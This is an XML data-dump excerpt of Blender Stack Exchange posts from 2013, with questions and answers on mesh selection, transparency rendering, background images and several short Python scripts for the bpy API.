  <row Id="3328" PostTypeId="1" AcceptedAnswerId="3329" CreationDate="2013-10-13T22:46:35.903" Score="8" ViewCount="11495" Body="&lt;p&gt;Is this a bug or am I doing something wrong? Is there something I can test?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am following the Blender 2.6 Manual with 2.68 Blender on Mac 10.6.8. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation/1.A_static_Gingerbread_Man&quot; rel=&quot;noreferrer&quot;&gt;Here I try to give life to the Gingerbread Man&lt;/a&gt;. However, the things that are explained under &quot;Selection Behavior and Limit Selection to Visible&quot; are understandable, but when I try to erase stacked vertices like described,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must have the Limit Selection to Visible button unselected to continue this &#xA;  tutorial.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now press B to activate Box Select/Border Select mode. The cursor will&#xA;  change to a couple of orthogonal grey lines. Move the cursor above the&#xA;  top left corner of the cube, press and hold LMB, then&#xA;  drag the mouse down and to the right so that the grey box encompasses&#xA;  all the leftmost vertices. Now release the LMB. The&#xA;  sequence of Box selecting a group of vertices.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The pop-up menu of the Delete (X) action.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Press X, and from the popup menu select Vertices to erase the selected&#xA;  vertices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I only erase vertices, and I see in the front and the vertices below are not erased. Doing this by hand and following the tutorial, next time I am not able to able to extrude arms of the Gingerbread man, because again every extrusion I try is only applied on the interior vertex (I changed the view to show the problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5otbZ.png&quot; alt=&quot;Limit Selection to Visible button unselected. The extension was done in front view.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with highlighted box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HBGG5.png&quot; alt=&quot;Again&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the discussion below in the comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/noq0p.png&quot; alt=&quot;Buttons differently highlighted&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1433" LastEditorUserId="20" LastEditDate="2013-10-15T19:11:51.560" LastActivityDate="2018-03-24T10:23:52.013" Title="Selection Behavior and Limit Selection to Visible" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3329" PostTypeId="2" ParentId="3328" CreationDate="2013-10-13T23:05:29.903" Score="8" Body="&lt;p&gt;As the tutorial explicitly states, you should have &lt;em&gt;Limit Selection to visible&lt;/em&gt; &lt;strong&gt;&lt;em&gt;unselected&lt;/em&gt;&lt;/strong&gt;. Once it is unselected, you will be able to see (if in perspective view), select &lt;em&gt;and&lt;/em&gt; delete the back parts of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If using the default theme, a selected button should have a dark background &lt;img src=&quot;https://i.stack.imgur.com/lToS1.png&quot; alt=&quot;enter image description here&quot;&gt; and an unselected button should have a light one &lt;img src=&quot;https://i.stack.imgur.com/OrHjR.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4L40t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-13T23:13:19.790" LastActivityDate="2013-10-13T23:13:19.790" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3330" PostTypeId="2" ParentId="3327" CreationDate="2013-10-14T00:43:38.093" Score="0" Body="&lt;p&gt;Check out the FPS Fly addon:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.ewocprojects.be/fpsfly.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ewocprojects.be/fpsfly.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A FPS-style viewport navigation was a proposed project for the steam workshop devs, so not sure if there will be a C-implementation of the above addon.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-10-18T00:34:07.470" LastActivityDate="2013-10-18T00:34:07.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3331" PostTypeId="1" AcceptedAnswerId="16422" CreationDate="2013-10-14T02:50:30.843" Score="4" ViewCount="750" Body="&lt;p&gt;I've got a semi-transparent outer block, and two semi-transparent inner blocks. I'm trying to animate the inner blocks fading out by bringing the transparency alpha to zero. I'm using Blender Internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My model looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVuoo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are wax blocks, with objects embedded inside. First, the small inner blocks are created separately as 2x1 blocks. Then they're placed next to each other to make a large 2x2 block. Once the outer wax is in place (a boolean modifier/plane reveals the outer wax) the inner wax should fade away, &quot;melting&quot; as it's replaced by the the outer wax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that the sharp edges of the inner wax don't fade away as alpha approaches zero. My &lt;em&gt;guess&lt;/em&gt; about what's going on is the amount of light that's reflected off the inner faces is unaffected by their material's transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively, I don't like the discontinuity between when alpha is very small, and when alpha is zero. Here's is the difference between the inner blocks transparency alpha at 0.001, and 0.000:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BKLwv.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7TgPJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2013-10-14T15:10:08.853" LastActivityDate="2014-10-04T13:33:15.267" Title="Edge effects on almost completely transparent objects" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="3332" PostTypeId="2" ParentId="3326" CreationDate="2013-10-14T02:59:18.063" Score="5" Body="&lt;p&gt;You'd need a combination of custom transform orientation and snapping tool, but the workflow is reversed a bit:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Slant the top face any which way (by moving some vertices upwards, etc.),&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude the face along main axis, in this case vertically,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the new face still selected, set it as the new &lt;em&gt;transform orientation&lt;/em&gt; by pressing &lt;strong&gt;+&lt;/strong&gt; button to the right of 3D View &amp;gt; &lt;strong&gt;Navigation&lt;/strong&gt; menu &amp;gt; &lt;strong&gt;Transform Orientations&lt;/strong&gt; group's dropdown menu, or pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;Spacebar&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;strong&gt;Snap Element&lt;/strong&gt; to &lt;em&gt;Vertices&lt;/em&gt;, its selection menu accessible through 3D View header &amp;gt; snap elements dropdown menu, or by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the manipulation widget oriented to the slanted face, select and move any vertices of the new face,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you translate the vertices this way, and snap them to a vertex below, it will be aligned &lt;em&gt;along the slant&lt;/em&gt; of the face:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UURdI.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I use this workflow because it's easier to move and align along a slant, than align along a main axis while moving along a slant.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-14T06:41:18.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3333" PostTypeId="1" AcceptedAnswerId="3336" CreationDate="2013-10-14T14:31:57.487" Score="4" ViewCount="4093" Body="&lt;p&gt;I'm writing an addon and I want to save two sizes of every rendered image. One is the original size which blender saves anyway. The other one is a scaled down version of that image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I scale an image with the Python API (possibly with a specific interpolation filter like linear, cubic, ...)?&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="12" LastEditDate="2013-10-15T14:21:15.493" LastActivityDate="2013-10-16T12:24:55.697" Title="How to scale an image with python" Tags="&lt;python&gt;&lt;image&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3334" PostTypeId="2" ParentId="3322" CreationDate="2013-10-14T15:13:32.627" Score="7" Body="&lt;p&gt;The best tool for this situation is the randomize transform tool. It's not a tool that has a shortcut key and it's buried in the object menu (&lt;em&gt;Object &amp;gt; Transform &amp;gt; Randomize Transform&lt;/em&gt;), so the easiest way to access it is to simply search it using &lt;kbd&gt;Space&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To create the wall from that image, do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a plane for the wall.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate a few cubes around&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the randomize transform tool and set it to affect the location of the objects (except the axis along the wall) and the scale of the object. Something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oKNCP.png&quot; alt=&quot;randomized values&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You'll get something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gd1cP.png&quot; alt=&quot;final result&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-14T15:19:01.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3335" PostTypeId="2" ParentId="3313" CreationDate="2013-10-14T15:14:56.493" Score="10" Body="&lt;p&gt;It's possible, but you're going to have to &quot;animate&quot; with Python. There's no way to animate property values using the Dope Sheet or Graph Editor. Assuming you have the default cube and you've given it a custom string property called &lt;code&gt;MyString&lt;/code&gt; (through the interface... this would also work for custom properties defined with Python; it's just easier to see what's happening this way), you could write a handler that's triggered by the &lt;code&gt;frame_change_pre&lt;/code&gt; event. It would look like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def animate_string(scene):&#xA;    ob = bpy.data.objects['Cube']&#xA;&#xA;    if scene.frame_current &amp;lt; 25:&#xA;        ob['MyString'] = &quot;First bit text&quot;&#xA;    elif 25 &amp;lt;= scene.frame_current &amp;lt; 46:&#xA;        ob['MyString'] = &quot;Next text part&quot;&#xA;    elif 46 &amp;lt;= scene.frame_current &amp;lt; 100:&#xA;        ob['MyString'] = &quot;Another bit of text&quot;&#xA;    else:&#xA;        ob['MyString'] = &quot;Text after frame 99&quot;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(animate_string)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now... if you want to be clever and still animate using the Dope Sheet, Graph Editor, or even the Timeline, you could probably extend this with some clever code that populates your string property with the string stored in a marker (e.g. find the closest marker less than the current frame and use the String stored there). If you only have one object in your scene that needs to be animated this way, it should work great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A caveat... In my testing (r60747), you could only watch the custom property change values if you scrub through one frame at a time (&lt;kbd&gt;Left Arrow&lt;/kbd&gt; and &lt;kbd&gt;Right Arrow&lt;/kbd&gt;). Playing back animation with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; works (you can check with a &lt;code&gt;print&lt;/code&gt; statement), but the value doesn't update in the interface. In fact, when I put my mouse cursor in the Properties Editor while playing back with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;, it crashes Blender (bug report &lt;a href=&quot;https://projects.blender.org/tracker/?func=detail&amp;amp;aid=37073&amp;amp;group_id=9&amp;amp;atid=498&quot;&gt;submitted&lt;/a&gt;).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2013-10-14T15:35:00.597" LastActivityDate="2013-10-14T15:35:00.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3336" PostTypeId="2" ParentId="3333" CreationDate="2013-10-14T18:26:31.013" Score="3" Body="&lt;p&gt;You can use the Python Image Library (PIL) for instance, there's a Python 3k port:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/gpolo/pil-py3k&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gpolo/pil-py3k&lt;/a&gt; and &lt;a href=&quot;https://github.com/sloonz/pil-py3k&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sloonz/pil-py3k&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or Pillow, which is also a PIL fork:&lt;br&gt;&#xA;&lt;a href=&quot;https://pypi.python.org/pypi/Pillow/2.2.1&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/Pillow/2.2.1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code (for original PIL though):&lt;br&gt;&#xA;&lt;a href=&quot;http://www.daniweb.com/software-development/python/code/216637/resize-an-image-python&quot; rel=&quot;nofollow&quot;&gt;http://www.daniweb.com/software-development/python/code/216637/resize-an-image-python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As PIL supported differnt interpolation techniques, all of the above should offer the same (or more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try without any extra modules, by saving the image in blender to another file using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.Image.html?highlight=save_render#bpy.types.Image.save_render&quot; rel=&quot;nofollow&quot;&gt;Image.save_render()&lt;/a&gt;. Note that this method can be used on any image, it doesn't save the rendered image only (&lt;em&gt;render&lt;/em&gt; stands for &lt;em&gt;render settings&lt;/em&gt;, the render settings of the given scene will be used to save the file. It ignores the resolution settings however. To change scale, you needed to import the saved image again (so that &lt;code&gt;.pixels&lt;/code&gt; isn't empty, which is the case for render results), then call &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.Image.html?highlight=save_render#bpy.types.Image.scale&quot; rel=&quot;nofollow&quot;&gt;Image.scale()&lt;/a&gt; and save again. But you can't specify an interpolation mode.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-14T18:26:31.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3337" PostTypeId="1" AcceptedAnswerId="3389" CreationDate="2013-10-14T19:30:35.917" Score="36" ViewCount="4417" Body="&lt;p&gt;What are some techniques for procedurally generating wear (chips, cracks, dents, etc.) on a mesh object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, what are some ways I could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0FfS4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but with more dents and detail? (and without having to manually duplicate objects everywhere)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The image above was created by duplicating some smooth shaded spheres with displace modifiers and intersecting with a boolean modifier.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-14T20:27:57.337" LastActivityDate="2013-10-20T23:44:37.750" Title="Procedurally generating wear on an object?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="3338" PostTypeId="2" ParentId="3326" CreationDate="2013-10-14T20:05:02.853" Score="3" Body="&lt;p&gt;Another way is to use &lt;em&gt;Vertex Slide:&lt;/em&gt;&lt;br&gt;&#xA;Select edge then use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; and then hold &lt;kbd&gt;Alt&lt;/kbd&gt; to allow extend mode.&lt;/p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;The only problem is that there is no way to snap it so you just need&#xA;to make the best match that you can and align it afterwards.&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="903" LastEditorUserId="599" LastEditDate="2013-10-14T20:08:57.800" LastActivityDate="2013-10-14T20:08:57.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3339" PostTypeId="1" AcceptedAnswerId="3343" CreationDate="2013-10-15T02:39:27.920" Score="7" ViewCount="7321" Body="&lt;p&gt;Is there some way to set the location and scale of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#Background_Image&quot; rel=&quot;nofollow&quot;&gt;background images&lt;/a&gt; in the 3D view by dragging or using the mouse/3D cursor to align it, similar to &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;MMB&lt;/kbd&gt; in &lt;em&gt;Composite nodes&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the location with the &lt;em&gt;X&lt;/em&gt; and &lt;em&gt;Y&lt;/em&gt; sliders can be quite difficult, especially since &lt;kbd&gt;Shift&lt;/kbd&gt; seems to have no effect on those values.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-15T20:34:03.867" LastActivityDate="2018-11-15T08:10:36.150" Title="Drag background images in 3D view?" Tags="&lt;workflow&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3340" PostTypeId="1" AcceptedAnswerId="3341" CreationDate="2013-10-15T02:53:59.050" Score="3" ViewCount="419" Body="&lt;p&gt;Is it possible to tell which screen (&lt;em&gt;3D view&lt;/em&gt;, &lt;em&gt;Node editor&lt;/em&gt;, etc.) the cursor is in with python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I also get properties specific to that view, (even when there is more than one open) e.g. determine which (if any) 3D view is in camera view?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-15T03:29:05.063" Title="Get which screen the cursor is in?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3341" PostTypeId="2" ParentId="3340" CreationDate="2013-10-15T03:06:56.283" Score="6" Body="&lt;p&gt;It's all accessible through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.context.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context&lt;/code&gt;&lt;/a&gt;. The active area is accessible through &lt;code&gt;context.area&lt;/code&gt; (of type &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.Area.html#bpy.types.Area&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Area&lt;/code&gt;&lt;/a&gt;), while data specific to the active area's current display type through &lt;code&gt;context.space_data&lt;/code&gt; (of type &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.Space.html#bpy.types.Space&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Space&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the active space is ascertained as a 3D View, we can access its view properties through &lt;code&gt;context.region_data&lt;/code&gt; or &lt;code&gt;context.space_data.region_3d&lt;/code&gt; (of type &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.RegionView3D.html#bpy.types.RegionView3D&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RegionView3D&lt;/code&gt;&lt;/a&gt;) e.g. to check its view perspective.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-10-15T03:29:05.063" LastActivityDate="2013-10-15T03:29:05.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3342" PostTypeId="2" ParentId="3339" CreationDate="2013-10-15T03:46:07.890" Score="6" Body="&lt;p&gt;To the best of my knowledge, such functionality is not available out of the box. However, one other way would be to use an &lt;em&gt;Empty&lt;/em&gt; with the &lt;em&gt;Display&lt;/em&gt; type set to &lt;em&gt;Image&lt;/em&gt;. Advantages are that you can move it just as you would any other object and adjust the opacity etc. Another advantage is that it displays in both &lt;em&gt;Orthographic&lt;/em&gt; and &lt;em&gt;Perspective&lt;/em&gt; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PbhP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find it hindering you.. you can always just disable &lt;em&gt;Viewport selection&lt;/em&gt; from the &lt;em&gt;Outliner&lt;/em&gt; by clicking the arrow.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-10-15T03:46:07.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3343" PostTypeId="2" ParentId="3339" CreationDate="2013-10-15T05:16:57.413" Score="4" Body="&lt;p&gt;The empty is a good workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However. Some graphics cards, for example the one in an Eeepc, get slow with either background images or empties, especially when you zoom in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a UV-mapped plane is the best solution. There's even an addon to create such a plane on the fly: &lt;em&gt;Import Images as Planes&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FzRhQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can('t) see, three of the six images are invisible unless you look from the other sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of a mapped plane is that it's back side is transparent. So you can have one in the front and one in the back and your model inbetween while only the background plane and your model are visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Haunt's trick bag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want either a plane or an empty to scale easily to size, for example to calibrate side view and front view of a reference image, use the 3D-cursor for that. Adjust the left border of your reference, put the 3D Cursor there and scale around the cursor as pivot point. The left border will stay put and the right one can be precisely adjusted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9HMcJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable selectability and renderability for the reference objects once you're done and put them on an extra layer to easily hide them without the need to select them.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-15T14:14:25.910" LastActivityDate="2013-10-15T14:14:25.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3344" PostTypeId="1" AcceptedAnswerId="3349" CreationDate="2013-10-15T07:18:08.237" Score="6" ViewCount="1313" Body="&lt;p&gt;I want to modify every frame in an animation after it has been saved as an image. Since &lt;code&gt;bpy.data.images[&quot;Render Result&quot;]&lt;/code&gt; doesn't have associated data I need to load it from disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the path of the last rendered frame in a &lt;code&gt;render_post&lt;/code&gt; handler?&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2019-07-15T18:57:38.220" Title="Howto get the filepath of a rendered animation frame with python" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;python&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3345" PostTypeId="2" ParentId="3344" CreationDate="2013-10-15T07:28:11.117" Score="2" Body="&lt;p&gt;You'll probably want to use &lt;code&gt;context.scene.render.filepath&lt;/code&gt; and append the frame number with (using &lt;code&gt;str.zfill(4)&lt;/code&gt; where str is the frame number as a string and 4 is the number of digits), and extension using context.scene.render.image_settings.file_format, converted to lower case (using &lt;code&gt;str.lower()&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-10-15T07:28:11.117" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3346" PostTypeId="1" AcceptedAnswerId="3347" CreationDate="2013-10-15T15:21:40.917" Score="5" ViewCount="3156" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZ0oD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to iterate over the material index of material slot and change the value of each material index. How can this be done in Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the Python shown below, but it doesn't work correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;object = bpy.context.object&#xA;material = object.active_material&#xA;for num in range(0, 5):&#xA;    object.active_material_index = num&#xA;    if material.use_shadeless:&#xA;       material.use_shadeless = False &#xA;    else:&#xA;       material.use_shadeless = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="90" LastEditorUserId="55" LastEditDate="2013-10-15T19:28:56.313" LastActivityDate="2013-10-15T19:30:27.667" Title="How to iterate over material index using Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3347" PostTypeId="2" ParentId="3346" CreationDate="2013-10-15T15:44:46.103" Score="9" Body="&lt;p&gt;The fastest way to loop over the object's materials is through its &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.Object.html#bpy.types.Object.material_slots&quot;&gt;&lt;code&gt;material_slots&lt;/code&gt;&lt;/a&gt; attribute. Here's an equivalent code for toggling all object materials shadeless property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for m in bpy.context.object.material_slots:&#xA;    m.material.use_shadeless = not m.material.use_shadeless&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only issue I see in your own code is that you're assigning the material to a variable &lt;em&gt;before&lt;/em&gt; changing active material index, which renders the latter operation moot. Changing the index before assigning the resulting material to a variable, will yield the result you want.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-10-15T15:50:46.850" LastActivityDate="2013-10-15T15:50:46.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3348" PostTypeId="2" ParentId="3346" CreationDate="2013-10-15T19:30:27.667" Score="1" Body="&lt;p&gt;The error with the script is its not re-assigning &lt;code&gt;material&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Corrected script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;object = bpy.context.object&#xA;for num in range(0, 5):&#xA;    object.active_material_index = num&#xA;    material = object.active_material  # &amp;lt;-- changed line&#xA;    if material.use_shadeless:&#xA;       material.use_shadeless = False &#xA;    else:&#xA;       material.use_shadeless = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;@Adhi's method is nicer, just showing what the mistake was.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-15T19:30:27.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
